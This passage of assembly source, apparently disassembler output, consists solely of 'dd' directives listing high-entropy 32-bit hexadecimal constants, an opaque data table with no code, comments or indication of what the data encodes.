		dd 0D91EAC32h, 0B80088A7h, 0CF8E8610h, 802B5704h, 97DF8918h
		dd 0B216BC90h, 30CBD736h, 1C01DC8h, 0B459B033h,	6BCF0254h
		dd 7C40BE35h, 46802C43h, 9689E2Fh, 44CA0Ah, 0B4943944h
		dd 0CE4DEBCh, 0F2F2DD25h, 8D630084h, 0C3AAC7C1h, 99177CE3h
		dd 20B0070Ah, 80D11774h, 1DE8C0A1h, 347E66A5h, 0D0CB3824h
		dd 0FD3CBB40h, 3ED099C6h, 0C9B94BB1h, 8E915ADh,	0A838BDD2h
		dd 203517AAh, 15C0A464h, 0AD89E10Bh, 5FE4D84Bh,	8AB43168h
		dd 7F43D8Eh, 0EF38CF52h, 0D67B0ECh, 2AC0D9FAh, 0AC6E6F28h
		dd 0EF93DD39h, 0BC58AC8Bh, 0F4E08C60h, 7B45103Ch, 92868A12h
		dd 47B838FDh, 663A5817h, 1AE3B0B6h, 704617A1h, 8040A50Ch
		dd 12632AA4h, 3E3300B0h, 8110F236h, 94015EBFh, 32DC9CE9h
		dd 0F82C6998h, 40D3AC40h, 8A4E1829h, 0EB1054B3h, 0B96F0423h
		dd 9882A6DEh, 70E0FB35h, 0DD0463AAh, 8318CD1Eh,	0B24A84ACh
		dd 2A3B7FBCh, 108D0F32h, 832B2069h, 658C85h, 0BE703B4Eh
		dd 840F7103h
		dd 0A5E8F927h, 40A4F1F4h, 16690088h, 630598DFh,	0D801B73Ch
		dd 0F90655B4h, 318E0FA8h, 30648669h, 2C1CB43Bh,	2F844C40h
		dd 5CE068C9h, 4232F2DCh, 0C566583Ch, 6114E4FCh,	0BC07703h
		dd 84044F63h, 0ACC0E958h, 7CD50477h, 0FCF550E1h, 0C03B4B30h
		dd 0BC006123h, 0F6DC4DD7h, 255B7A51h, 0B078660Eh, 98B05920h
		dd 146320A8h, 0C9246A05h, 8817184Ch, 9B07D86Eh,	0BA131C72h
		dd 6B9408B4h, 0BCC98805h, 20BD6C94h, 0BA017FB8h, 7375978h
		dd 912A9CC7h, 1083C630h, 0A8FD8D8Ah, 26A25198h,	13305ACBh
		dd 48500575h, 88648E9Fh, 5503C024h, 3C0CCE47h, 0C0C99360h
		dd 7DC5220Ah, 0B9D0CB0h, 581C53C0h, 0C3012743h,	0B7822255h
		dd 8FFC3C40h, 2B3B3264h, 34A1D3E0h, 3C047F05h, 8C23E8FCh
		dd 2B075C9Ah, 6D2C2122h, 0ACE03F05h, 2610599h, 0C04BE9DBh
		dd 538C0874h, 0D8FB3A34h, 5FB8C8FDh, 0B52C9000h, 5E5B65EFh
		dd 66D04B3h, 8D14F987h,	81A40204h, 0A8C68421h, 6051838h
		dd 0AD0EDD01h, 0B4E44B1Ch, 9299F804h, 94E13EE4h, 55FD126h
		dd 8E81F386h, 0C32588E8h, 0DC9DACDh, 66BEF03Dh,	3420C15Fh
		dd 0D9E276h, 57471E75h,	0DCA45254h, 43596803h, 1F06F24Fh
		dd 43D11E29h, 0B8B05BD6h, 5388A7A3h, 0C92FFA69h, 4D4E1F0h
		dd 0C454F8ECh, 0EC96E4C8h, 72B7E1F4h, 0F25CE205h, 44D83360h
		dd 1803B967h, 94211996h, 16838145h, 5B34012Fh, 2A66ACE9h
		dd 448F9438h, 0C8BEE3DCh, 427E2580h, 0EDF96Dh, 3AAA5002h
		dd 6A3152Ah, 70A8A725h,	10B59D28h, 86829291h, 4040CA3Fh
		dd 23035739h, 8019564Fh, 75891D9Dh, 24006D08h, 70C2B88Ch
		dd 0FC2858B4h, 18842944h, 0D811B4D1h, 60D37264h, 99F05CF6h
		dd 5C00514Ah, 3C866FCEh, 48798F43h, 0FC37CC39h,	30E14371h
		dd 0F64888F4h, 0D9A92D32h, 1318AF42h, 10E260E3h, 0B08D0230h
		dd 0F9720CCh, 0F1989609h, 41ACD98Eh, 81C1B8h, 25E507AAh
		dd 4024D20Ah, 711287E1h, 2BBEFF7Fh, 2082E082h, 0AB8D924h
		dd 209F0480h, 0FA7C7270h, 0B8B9B07Ch, 0FD1896F1h, 808A433Fh
		dd 0B0884064h, 5FFFCAAh, 18CB7DF9h, 6FACA584h, 219D6C20h
		dd 0C5F017Ah, 63DDF035h, 0DA3DF8B6h, 68FF9213h,	9320483Ah
		dd 533E43E0h, 5CCBFC3h,	8B0FA60Ah, 6094B0AFh, 97D48000h
		dd 5DD9D89h, 610606ACh,	200399E9h, 26EC95F8h, 10B018CCh
		dd 1A1520BDh, 6A70E61Ch, 2FE8530Dh, 585B20C0h, 5C2DB5C3h
		dd 0C09E147Dh, 0C9B8DE8Dh, 57008847h, 0F35627Bh, 1801F7BFh
		dd 5E10AD95h, 5EB771E4h, 5E39D678h, 43B09C71h, 8BE181BBh
		dd 0D8B60FF0h, 0AC99ED6Bh, 72BE1F7Dh, 0BA6E46FDh, 7D8D1D06h
		dd 0B7CFEB60h, 38E80495h, 72047F1h, 8EEE8BF3h, 1B0EE033h
		dd 0FA04E8C1h, 0E337A38Ch, 50B708Eh, 0F766F88Bh, 23422EE2h
		dd 25A43E17h, 0B58B052Eh, 66B740D5h, 2B3FC7BFh,	0E22BD852h
		dd 63843018h, 2723B000h, 0EF816657h, 5E400082h,	0FFE391BFh
		dd 8B075033h, 241C89FAh, 0DD5BD51h, 0B51E7CBFh,	950DF09Dh
		dd 29802145h, 32D92485h, 6D774B3Eh, 0DB960D6h, 94489DA6h
		dd 0E9786258h, 44314D08h, 0E4316019h, 735773Dh,	0F613C3Eh
		dd 0AF020583h, 18A2CBE3h, 1A55A30h, 605BC954h, 1006820Fh
		dd 0F5C181h, 526CD84Ah,	0BD58589h, 785EBECDh, 8D336B47h
		dd 0BE310205h, 14D16D40h, 66015546h, 0B50BF18Bh, 3CA81DFDh
		dd 0FF895037h, 38908219h, 88840B88h, 12CDBF2Ah,	5F58C109h
		dd 2E86943Bh, 0A8F5D240h, 90FB8BD8h, 0B2F4B520h, 1A465Ch
		dd 3B2362Fh, 909A08DDh,	0EFCE0021h, 8D89607Bh, 64C0274Dh
		dd 25850950h, 590EC001h, 0B5295861h, 122EA536h,	39C8CB80h
		dd 4004EF77h, 0C5085EE2h, 0BCBD63Ch, 7555E1ECh,	70F45DC9h
		dd 2AFA71C9h, 0BADB4C00h, 881E7B33h, 313C48D4h,	16224510h
		dd 0CEBF07B9h, 0C018C863h, 71DB19B8h, 0DF0F81ECh, 87BFE168h
		dd 5000C183h, 0A1D93B5Fh, 1F14C2C7h, 3FC7AA95h,	53CD8C66h
		dd 3900B4BCh, 0E26C2FACh, 0C52B2FFh, 13099D31h,	0C148F65Ah
		dd 7E841617h, 0C8A1CEBFh, 0B0DBC614h, 0FD294924h, 0EC543545h
		dd 0D6FB2E59h, 6D0A14h,	117713A2h, 0F8B38D5Dh, 0C32B02BFh
		dd 8343DFCh, 6E865A49h,	42569BA8h, 4F5D4BF0h, 4D43BB04h
		dd 91C152B1h, 5F001471h, 47A00EE9h, 97B2C19Dh, 29C08B03h
		dd 3D0C8595h, 0D82DC311h, 8035B57Fh, 3B795266h,	4206EE94h
		dd 2D85C777h, 0E575046Bh, 89E83423h, 0E384ECCDh, 33E2E603h
		dd 620849B5h, 0BD8194ABh, 0D049AB64h, 850F0E44h, 0CEFE162Eh
		dd 0C4148876h, 0FDB781E9h, 85FF010Dh, 0FFFC3245h, 52E90726h
		dd 3BE0884Dh, 597832EBh, 0BE9609D2h, 6615E1D0h,	0B4B101CEh
		dd 64359E40h, 0E770FF90h, 21023901h, 8C20FED8h,	14A2F233h
		dd 24015230h, 8049499Dh, 0BD2960FCh, 51921139h,	5AE78100h
		dd 617BB3E8h, 1C5990F5h, 2D3D8D09h, 812D37F7h, 64ED1127h
		dd 0F5BD703Fh, 44411F41h, 7B841EC1h, 0C19773BFh, 0AD34D134h
		dd 6135D56Ch, 0D56F3C80h, 184E75F9h, 0E2A65697h, 54D40E31h
		dd 8C19E860h, 486A091Ch, 60E4B640h, 2CBA66F5h, 16566BA1h
		dd 42293087h, 245BE5E2h, 0E5A6BAAh, 0C080902Fh,	0F6A482Ch
		dd 2111608Ah, 0B2A0B9BEh, 22617358h, 21968006h,	0C3E98026h
		dd 0DBFFF838h, 89B740FAh, 2B551838h, 5BE0C900h,	7101F939h
		dd 14F3F09Ch, 0F9C18B7Fh, 8E52E61Fh, 321304EBh,	0D04A95B9h
		dd 595153DDh, 916DE1D5h, 512E08C4h, 80312001h, 0B7B995B9h
		dd 418AD4FCh, 467CFB27h, 37F6001Ah, 0EC3325B5h,	5389F270h
		dd 1CB2C404h, 1F59430h,	31FC8C4Ch, 7133CAA9h, 4502D951h
		dd 89B9DB50h, 0BDB18251h, 31BF0725h, 0A01AE19Ah, 6C70814Eh
		dd 26C4B07Dh, 92880AA1h, 8315403Dh, 0A405C02Eh,	0AD0801CAh
		dd 190121Ah, 50FEF0A2h,	395FD453h, 30E9D273h, 87880822h
		dd 0F419031Bh, 346E2C83h, 669427Fh, 917A9DDBh, 5F53801Bh
		dd 0A78B3BBh, 0E9DE146Dh, 97960751h, 55BAB36Eh,	4305C48h
		dd 161A8D8Ah, 87F982C2h, 8D6ABD74h, 809D9EBFh, 0E826AF5Fh
		dd 31B4674h, 8616FCFBh,	64A0F9C4h, 0FD6010EBh, 7B5E2411h
		dd 737FC701h, 0F830D3FFh, 0A5337E75h, 601AE438h, 7DEE71Dh
		dd 0B1FE4B09h, 0E9AB89E9h, 540FCC7Dh, 560FF176h, 0C510E280h
		dd 26893B32h, 75A68911h, 5CA78678h, 17F84F01h, 0E2F7008Ch
		dd 9D8BFC68h, 5ED624F9h, 0C4759AEEh, 0E2834948h, 81A51C55h
		dd 0BA9D35E3h, 62B115F6h, 778663E7h, 0B9F04807h, 56C02521h
		dd 0B0DB0B76h, 838D44F6h, 0FEC9BD12h, 2E8E1410h, 0DFE0384h
		dd 0A1E9F972h, 0A8C3415h, 0A920CCA4h, 835EB012h, 0C8EE5C3Bh
		dd 18C16ECh, 664A9509h,	4160FA8Bh, 51315A6h, 0BFC2F264h
		dd 0E9612175h, 53199251h, 119A48h, 19CF815Fh, 795293A4h
		dd 0D52C6B52h, 0F5E0CC4Dh, 29E0CFDEh, 97E921h, 0B5DB1D2Eh
		dd 0BC00F261h, 360C10D4h, 1CC2281h, 0B80A329Dh,	0DE8D4B55h
		dd 0E4BD324Ah, 0D0DCF100h, 2E02A23Eh, 34744BCh,	0FEFF2381h
		dd 0F09D3997h, 0F0831711h, 33F0F75Ch, 154B09BDh, 53DB2C4Ah
		dd 118465Ch, 772FDD28h,	58DEF60Dh, 3E6E4A22h, 2D1523D9h
		dd 6202E35Eh, 402710CCh, 961CC90Dh, 74DE928h, 806133C3h
		dd 13B7DDh, 0BF60903Ah,	6576DE7Ah, 0B2525003h, 0E0310FD4h
		dd 0E7585A61h, 16BE66ECh, 490DE63h, 5061948h, 1AD573E9h
		dd 0B05CF6BEh, 0E49013h
		dd 9254F862h, 31A6AB56h, 32A1B510h, 10BD6C62h, 0E609957Ah
		dd 6D71E470h, 0F6FC1CCh, 0E80468B6h, 67788C15h,	0F57EB890h
		dd 8A405781h, 9E5E9F3Ch, 45B24C4Ah, 0C38523DDh,	7A19810Fh
		dd 0E911170Ch, 540B8012h, 0F3152BF1h, 0FBB0008Bh, 562DD5ABh
		dd 75096FDCh, 0E23D4764h, 0E373F564h, 5AC7AD58h, 0D3AC105Ah
		dd 7D8C18E8h, 0E5C818A5h, 28DDDEE2h, 522BFE88h,	1CE24BD8h
		dd 0A98D0032h, 13E2A608h, 5997EC1h, 0BE50F883h,	9E76A4h
		dd 537C643h, 94BBA261h,	98C6E2Dh, 0C3BF4DB4h, 72880CC6h
		dd 8512318Ah, 0EBDD0B41h, 0FB9F101h, 0FAD8DA69h, 45911E1Dh
		dd 0A6A0FD2Dh, 94E8D1FFh, 236E53Ah, 18BE99C3h, 3556422Bh
		dd 0B4348053h, 81587185h, 3F45EE00h, 0BD011BE4h, 41F1B441h
		dd 0A7C9B589h, 0D1D6AF9Fh, 0C5490C6Ah, 1287B2FDh, 84525147h
		dd 0AC80859Bh, 39CA8F57h, 0DF816A01h, 4BC01BC6h, 48728720h
		dd 0C24C86C3h, 8C1DFCh,	1A867437h, 0B4E3F2FEh, 0F55F7A2Dh
		dd 2E918EA1h, 0EFCDF82Fh, 0C022ED0Ah, 0EA0C0EE9h, 70FAE54h
		dd 0D1FBC6AFh, 0B588645Fh, 0F0FA61CFh, 0CD901A93h, 0EF79489Bh
		dd 9333FC4h, 0E03DF16Eh, 31DDCD82h, 642837D9h, 41B8F049h
		dd 0B725DCE0h, 100FB4A1h, 213184h, 0F4825CADh, 33489B32h
		dd 30EB010Eh, 49858BE9h, 0B1215E49h, 1488DB4Eh,	8D2973C0h
		dd 4B729285h, 0FAB6E58h, 0C003B691h, 0FFFA065h,	925DB487h
		dd 20961260h, 6138B3D5h, 55B464B8h, 2BD76690h, 1E1A232Eh
		dd 0C0CAC0C6h, 81FE6426h, 92ABE605h, 3EB25E18h,	1FEDE929h
		dd 41DD85A5h, 6D22B116h, 0BFDB8F5h, 0C7382E90h,	1044068h
		dd 15F16591h, 9400CD18h, 0F2B70F60h, 2D6AB966h,	608B6127h
		dd 39D10542h, 6AD7A810h, 0DBDA12C5h, 590B9C8h, 81DD5202h
		dd 917D8BFh, 95BCBD75h,	0F60F5B0Fh, 1DC33D09h, 87151130h
		dd 0C7D193A5h, 33C5D534h, 4088586Dh, 0C8E14BBh,	9A842506h
		dd 0ACE6857Ah, 4B5023C3h, 703E6F14h, 6A576101h,	9E47AF76h
		dd 5BA57930h, 9B63520Eh, 888B8194h, 964B53Bh, 0D682B61Bh
		dd 0DA031946h, 7842C90Dh, 0BBBF094h, 85C76C09h,	51F820ADh
		dd 6158345h, 1437B6BEh,	0C09CC046h, 0FB280BDCh,	9867F9E3h
		dd 5DCF2F92h, 0ECC01B88h, 0B6C5D56h, 26EB7F28h,	0C0809966h
		dd 99B62EEDh, 1164155Ah, 0AFDA801Bh, 164F3FDBh,	64C99D8Dh
		dd 23ED3ACBh, 0B8080E19h, 8A6B2960h, 6AB83357h,	4C5F0640h
		dd 0C3775E90h, 5BD8931h, 696E1D4Bh, 5C56712h, 0F4345921h
		dd 5FBEFE01h, 63EC00DCh, 89B9C898h, 0E04CBBDEh,	770E22C8h
		dd 0D8B6E50h, 8C35F0Ah,	74251B91h, 0FDC0039Ah, 0D7B8F508h
		dd 1FEEC67Fh, 0D68674BDh, 8D91A50Fh, 0F689E03Fh, 0B8BD17D2h
		dd 1AB12048h, 850898C8h, 94498509h, 1259AC43h, 0A16FFBBFh
		dd 5D9E980Fh, 0E1C5D786h, 8D711F62h, 195BF729h,	63FBA800h
		dd 0D4F7D9h, 328A9F2Dh,	138C0FC1h, 885223CBh, 5700182Eh
		dd 190ABD39h, 16D101A5h, 5F5C9941h, 0FFF7E4E9h,	88DC4EE3h
		dd 8264C016h, 0D60E9ACh, 0E6E77517h, 5A2600FEh,	458F7835h
		dd 0C43E0451h, 2898B81h, 0C1A60565h, 1423382Eh,	0E5C5D916h
		dd 0B6B019F7h, 0EA39D682h, 111EA5DEh, 4880A777h, 9974702Fh
		dd 0B4168549h, 68563CF4h, 96E8E38Ch, 0CB778071h, 7DB32EADh
		dd 8F66D33Fh, 60BA4332h, 0F827CD26h, 0C0FAC0A3h, 5F633008h
		dd 3A575039h, 4202EB51h, 11861DE5h, 4C05811Ah, 0B2F86EBCh
		dd 0BCD7B8F9h, 9B50B4F2h, 4A70C049h, 16C97A96h,	28BD86F1h
		dd 63B6156Ch, 0B06F5E35h, 69075F0Eh, 207FCD73h,	1D5EED46h
		dd 0B6A9743h, 0B501B0B0h, 25115EF1h, 0A536F10h,	0BB54577Bh
		dd 0B120E817h, 326FD7Ah, 3E40145Fh, 2455E53h, 5DA601C8h
		dd 748B0827h, 0DE33B4F7h, 0FA51700h, 6660FA7Bh,	77F331BAh
		dd 2019DF2h, 0A516F161h, 0B9C03B6Dh, 4C10A3FDh,	0F91756A5h
		dd 29369C34h, 12019512h, 0B1EF96D0h, 0FD312FFh,	0C3A92782h
		dd 0E3C52FBEh, 0F681001Ah, 15A4034h, 8B42DE9h, 7420FE96h
		dd 0E0D4BD0Bh, 0F67800D6h, 25E66C73h, 7A4ADE66h, 0EEDCC8h
		dd 0A3132E4Dh, 8652D54Eh, 9B2DD805h, 23E39F5Dh,	0A6683AC8h
		dd 416465Ch, 0F577CB51h, 32117881h, 0B19D6207h,	5D939E70h
		dd 44E9BF78h, 0EE002911h, 0AC2A32FDh, 0AD6136h,	4FF4259Ch
		dd 0B5F2368h, 46D638BCh, 1D2A0019h, 0E11B67Fh, 912FBCF8h
		dd 2EBE0066h, 836A7923h, 9AE17BDh, 333492B0h, 81F88B20h
		dd 68B33FC6h, 0CF926E2Dh, 5829FBDFh, 0E604A80Bh, 0C85DDAE9h
		dd 8F363680h, 408551C7h, 0D185F1AFh, 0E9B74A25h, 1E6D4ACFh
		dd 66A9675Dh, 21847EDAh, 7D1015E1h, 0CF7A5AD8h,	7006D800h
		dd 0FD6FF405h, 6F02494Ch, 2D262876h, 9D09D518h,	0B21BC12Dh
		dd 0F4F1DFB6h, 626E0AF8h, 14E1FE6Ah, 56BA440Bh,	1A258E38h
		dd 6B454727h, 90399E6Eh, 0CF6E5B50h, 894BFD02h,	0AC484D85h
		dd 109A81E9h, 9DC48B6h,	3C58FF8h, 0C4B141D9h, 1B2925DDh
		dd 0DBB0F717h, 0E60BC06Ch, 27950170h, 12C6329Dh, 0D42C94h
		dd 0BE5E381Fh, 6E5AEA95h, 0CD2526B4h, 0A17AC00Bh, 0BB01CD72h
		dd 0CFB533BFh, 8158BA08h, 52194B65h, 9556FBDh, 2B10229h
		dd 0FAD03h, 200D9D89h, 9B4ADA9Eh, 164E2690h, 376FDDh, 115C8A69h
		dd 0C4CD60B4h, 21359C0h, 5C50D82Bh, 0FD804FCDh,	0C731603h
		dd 24009DB8h, 0ADC246E5h, 0B6C33FBFh, 74B72D73h, 0E3EA6825h
		dd 69C096AEh, 9F46E089h, 31421895h, 0B79208Dh, 60F834A1h
		dd 898AEDF0h, 3A5E61Fh,	71DFD4BEh, 0F69CE44Dh, 2E95E08Fh
		dd 915DB6F5h, 816000E1h, 66B6ECCAh, 25CCA037h, 0BE618011h
		dd 32C71409h, 83A2A6Ch,	92A23FDEh, 0FC23348h, 0C254FEB7h
		dd 37C32539h, 0D177000Ah, 51467290h, 0BFA9871Dh, 71D69C84h
		dd 4DB3195h, 0AF595D80h, 4C04C1E0h, 0D204B7B8h,	0A90770B2h
		dd 0A0711F11h, 0F6B40F18h, 6092577Ah, 5483795h,	43CC8A5h
		dd 8910C5FDh, 0F38E015Ch, 0F3472658h, 0FB402D9Eh, 35EC0CA4h
		dd 2000B16Bh, 6DD56BE2h, 0F2D472Fh, 33EFB08Fh, 2F11B603h
		dd 0F9074BBDh, 0B920A55Dh, 12624A14h, 92B3A2Eh,	0D7DB1C45h
		dd 3D7E7D00h, 0FA35D657h, 8386162Bh, 23FE3BC1h,	9281217h
		dd 56A41C19h, 45921627h, 20E82551h, 24E6CDAFh, 4E102600h
		dd 8D669244h, 1D9AECCEh, 0ED28B65h, 182BDD1h, 495461B5h
		dd 3FC55F16h, 1D239D3Ah, 0AF83E500h, 0BC2FE6Ah,	208CF035h
		dd 2AB58302h, 527B5C4h,	45A6EC09h, 0ED63DDh, 0EA802F50h
		dd 73CE58h, 9B0D4CA4h, 0CDCA8B7Dh, 0BFA6030Ch, 955B0248h
		dd 7E6D77BAh, 0A0F85D64h, 7A24BA80h, 13120A2Fh,	103A5B1Fh
		dd 9C001923h, 829ED717h, 0BD0B0BAEh, 0B89012C5h, 2B8133F1h
		dd 5F9DE230h, 98D91605h, 29E1538Fh, 74BAE85Bh, 3C7573h
		dd 0ACD6BF8Dh, 3FE94183h, 0B0AD27E1h, 0C09F078h, 0D1066B45h
		dd 20656DCCh, 5D8CC0D9h, 0DCFA43h, 47B61FCh, 0E026F4D6h
		dd 0F9CCDE05h, 92B33E1Eh, 1AC1749h, 1CB97AC4h, 412E5BA5h
		dd 3A49D520h, 0F0AE2618h, 3BDE525h, 0C220BF1Eh,	0D672169Eh
		dd 903CF25Bh, 9B41D748h, 7F66809Ch, 19C49959h, 6429EC11h
		dd 0FDA80412h, 0E2DF2683h, 391D9480h, 70C99B00h, 11350D0Eh
		dd 88F11673h, 52ACCCD1h, 0E95FF82Ch, 98E189C9h,	13079ECAh
		dd 3060648Dh, 7C46A751h, 0E2164000h, 8B352B51h,	0AB495D9Dh
		dd 0A7BA612Dh
		dd 1911AD17h, 9BC47B80h, 821FA1EAh, 79E49529h, 29B9093h
		dd 8951AF82h, 0FC29A542h, 8D013EE4h, 0A7E6CE55h, 60F448B8h
		dd 2450762Fh, 404FE85Eh, 0B757A4CCh, 5B302D00h,	135865E9h
		dd 5FC10025h, 0BE66A019h, 6009E849h, 9C0BF0Fh, 0D2188AD2h
		dd 75950102h, 5E8DA51Eh, 0FBB50AC8h, 9229D59Dh,	0BEA9C031h
		dd 0A5179D60h, 9AAFF566h, 4B16C1E6h, 0B065FACDh, 1E96E6Bh
		dd 72997FA6h, 47DC6ED5h, 0B21E62D2h, 0A1D425C9h, 3F23EEF4h
		dd 59056B73h, 9BE29120h, 0B422C019h, 1889FFBh, 0FE256E1Fh
		dd 6C70E9EBh, 0E24E42A7h, 0E9373016h, 1982B95Eh, 0C18B020Fh
		dd 1C8326B5h, 0FC60C909h, 0B119B780h, 0B5893B6Eh, 61180BCEh
		dd 379DA566h, 0B4B5010Eh, 21ACBFA4h, 0EDB4A736h, 605EE878h
		dd 90B8765Dh, 0BF1D66ECh, 37ADF2E4h, 9FF0018Ch,	0A7340857h
		dd 0C099ED40h, 27B318B6h, 53714E04h, 0B9FC0125h, 6933B111h
		dd 27BBF058h, 2362ABADh, 970867D1h, 0EAE22D15h,	507164D0h
		dd 310F5200h, 271D5CBEh, 585A2D02h, 8562408Fh, 0E130BE5h
		dd 0A45CE75Ch, 3AE8D6F5h, 5E165471h, 38CDF84Ah,	89CF1268h
		dd 6051184h, 0E276D3FFh, 3FC92D82h, 84B4244Eh, 2EB03CD4h
		dd 94D7B83h, 815F798Dh,	28E91B05h, 0A18A2DB3h, 19AAF9Fh
		dd 51E4FC79h, 9D6F2152h, 2EB535A1h, 0A800D86Eh,	0EAEC6D80h
		dd 4414828Ch, 0BC66556h, 82CAF6DFh, 0D423DD90h,	0D622EC10h
		dd 24C6982Dh, 2B992BBh,	0F1FA6ECh, 2982BB72h, 43237056h
		dd 830E843Eh, 0A21453C5h, 601E40DFh, 0CD204490h, 58099A0Bh
		dd 0F5113F61h, 0A8772233h, 0B89AA75Eh, 128814Bh, 1CF8B37Ch
		dd 4A40078Ch, 71DBA8C6h, 20A4CF42h, 3141899Ah, 6FE9FBD8h
		dd 0B5453337h, 979A169h, 0FBE7C241h, 10671DE4h,	451C26E8h
		dd 0DE0BC00Fh, 47149685h, 4B0C5279h, 0C28F109Bh, 0FB4453E9h
		dd 591FA900h, 0F418E1F9h, 222A00B0h, 7F34C727h,	6B2D4907h
		dd 0F818995Fh, 0C6D2E87Eh, 0BD4B5E84h, 2D6C1D4h, 0F130E34Eh
		dd 0F182DDCFh, 0ADB0AADh, 232A41A5h, 20BE5000h,	90DDD24h
		dd 0F2213924h, 131814D1h, 0B120FC98h, 2E9161Bh,	0C96F9304h
		dd 1B00984h, 0D9953146h, 0EA00D6CEh, 4F321DBh, 0F670E661h
		dd 0F46BE1B9h, 0C48D3020h, 0B871E477h, 7534317Fh, 0AF5BD8B6h
		dd 808702C0h, 9001B1D2h, 2A49D781h, 0B43C110Ah,	9BD2982h
		dd 0C34B15FAh, 98A12927h, 15FC20A1h, 461C00B9h,	19AB1FEBh
		dd 6E4F5324h, 0B802A116h, 785B78B1h, 0DCA99C71h, 0CB71D600h
		dd 3C5372D7h, 5B752874h, 0BCF955FBh, 5A9DCB02h,	7CD85DE2h
		dd 8C07A4BCh, 0AE17BDB4h, 0D94D5BE0h, 21895A0Fh, 6DA59DB7h
		dd 5DB5166Dh, 0C39313C2h, 0ADF9CBE7h, 98B8EFEDh, 0E12050B0h
		dd 25929801h, 0C5EE0929h, 2B3DE6C4h, 0BC173FDh,	9220DB5h
		dd 8B87E29h, 0B69F8900h, 295BAB71h, 0B552085h, 7C10CC5h
		dd 67456A8Dh, 22E095E6h, 4E09564Fh, 0C4D593F2h,	4BFF8F2h
		dd 0F39A245Ah, 0A9728486h, 1F9EB888h, 0E90FECC5h, 3D2A26DBh
		dd 0B9E63227h, 0C2641B45h, 0B660BA42h, 17467C8Ah, 52CCC904h
		dd 0F59D8C37h, 5FC5898h, 0F942919Dh, 90508B24h,	49F28420h
		dd 0F5248E5Eh, 0B0372F5Eh, 0E8DE6404h, 0E5BD3BCh, 9B562524h
		dd 0DD67CBFFh, 943484E8h, 70655100h, 61EF31AAh,	33B30064h
		dd 0FA566302h, 3C4CCA78h, 0E8192749h, 0BDE8180h, 6BFF254Ah
		dd 1612168h, 0DEE476BFh, 7D61A601h, 3E81FA89h, 0A22725D8h
		dd 40E2F6E5h, 7A600436h, 664024B6h, 0BF024FBEh,	0FCC0BE1Ah
		dd 0E2D2F7Ah, 0F5FB0513h, 8A10D7A4h, 0BA9EDCF0h, 0C1DF4D2Dh
		dd 7FD68356h, 4C00DAADh, 0A1F4411h, 0AD7FDE63h,	39E9B70Ch
		dd 5AF36C8Fh, 0CBBD235Eh, 6BFF355Eh, 401B0449h,	0E4C0A8BFh
		dd 0B4F37F80h, 32EDE9C6h, 7B901040h, 0DFDE1785h, 0E7D0FA2Ah
		dd 2E741Fh, 52B8C114h, 5BA5ABEBh, 1EBA4C03h, 79CA17B9h
		dd 7E2B4892h, 9ECDB53Bh, 58536013h, 0E85B112Ah,	0BB0038B9h
		dd 5C94B12Eh, 37A700FBh, 13F0622Ch, 0C702FF9Dh,	5AF9479Ch
		dd 1ACDD361h, 37570A31h, 6F6580CAh, 2972B164h, 0CBDD9D24h
		dd 2BE64AFh, 6EBCD681h,	40D0774Fh, 0B727969Eh, 0C98B1C6Ah
		dd 0E7877EACh, 0D4A097Dh, 0D582EA54h, 531462BDh, 663D700Dh
		dd 493C19E2h, 58378B05h, 0C24DF595h, 863261EEh,	0BA3CA1B8h
		dd 8FC2957Fh, 79FA4F7Ch, 3D5BA580h, 35F70h, 0C579B4B8h
		dd 0B509134Dh, 8AB121E8h, 6520C04Bh, 0F86027A4h, 0B6B03E6h
		dd 9FC0D2A4h, 15914035h, 83571F84h, 0F6F5B15Bh,	0A4EA0028h
		dd 14CD1565h, 1B76187Eh, 0EDF69890h, 4460F327h,	8BD202CDh
		dd 0F8E68911h, 1DBDFAC0h, 0BAC91460h, 0C5AEEDCh, 23A98D8Bh
		dd 469860B9h, 81DF8017h, 6844C8EAh, 0EC7E4A09h,	28D10Dh
		dd 0AE67C4F7h, 0D93F8AD4h, 9DD782E8h, 5D49445Bh, 17205404h
		dd 8D299EC0h, 2D215C75h, 0D834959Dh, 4103B6ECh,	0FEB4F739h
		dd 20DC86E4h, 7982E25h,	8433CB0Bh, 834EB703h, 52735C8Ch
		dd 8B118FE0h, 5E98F25Ch, 956FED52h, 85E5BD07h, 0BE351318h
		dd 0BCDD7DF3h, 8F9BDDC1h, 605E800Bh, 0A5B51623h, 496FD832h
		dd 0FC93AB00h, 0CD776FCEh, 0C82B146Eh, 425D6F2h, 3797ED58h
		dd 7F500D3h, 0E656D71Fh, 8BD97F02h, 721171BDh, 60F2277Ah
		dd 770057B7h, 0EDF8014Eh, 0CBC20781h, 3233BDB9h, 987EFFFEh
		dd 2CA601F4h, 658D2123h, 0F87A3B33h, 2485403h, 0F210B8DAh
		dd 204B08F9h, 6B162B49h, 600033F8h, 0D5266352h,	0EE1E45FAh
		dd 0DACE31C1h, 23085D84h, 311DE20Eh, 6F64E021h,	0DFCAAD00h
		dd 31A3066h, 0A823BC95h, 577382D2h, 1C001A37h, 36A1D62Bh
		dd 0B687054Ch, 0F58B0F67h, 3B203F32h, 71C2C81Bh, 0EAF2008Fh
		dd 7A209C92h, 3198BB33h, 2B43D702h, 6101E183h, 37AD28C0h
		dd 85C53EEDh, 1F65D381h, 0B9BD2900h, 12F0E5DAh,	0DC83D4A9h
		dd 0F7005B73h, 0B9ADEC1Eh, 1A0931C4h, 54111D9Dh, 9F3F6125h
		dd 22E487E5h, 32E0EB43h, 0E95FE1CAh, 4D8D7480h,	41D124Bh
		dd 10036CFh, 8F9BC7D4h,	5B09014Eh, 99E32D10h, 1E382361h
		dd 98741354h, 4DE90138h, 0D300CC48h, 0F5458440h, 1D00DC18h
		dd 46873FADh, 30DE16F6h, 3821AF1Fh, 6B0082C1h, 28C272B3h
		dd 9D2DECh, 0C474B571h,	632AEB23h, 4B813200h, 90E8E316h
		dd 5E3B00B7h, 0F8BF77ADh, 0D179AB85h, 5005BFAh,	4AEF92D5h
		dd 884866h, 0D617CF3Eh,	85C12D87h, 7FF1D700h, 60A05CB1h
		dd 6DE400CAh, 7C6CAC5Dh, 2A008040h, 27164AF9h, 5BEF93h
		dd 2F995977h, 1448FBBEh, 758119DEh, 26BF15A6h, 200C1081h
		dd 0FC78CE0Eh, 0A9009B5Bh, 4FB8DD89h, 0EE4497h,	0A5CA45C0h
		dd 6BA82185h, 628A3A00h, 8CA25AB6h, 0D9350005h,	1830EC01h
		dd 4B00E73Dh, 755B0E17h, 0E804B4h, 9F4FFF2Ch, 0FC11A767h
		dd 0AA5AC070h, 791D28A8h, 0C319868Fh, 800FA97h,	6DCA0A24h
		dd 0F47E234Fh, 2B9B005Ah, 38F416C2h, 7C0C52F8h,	33D009BCh
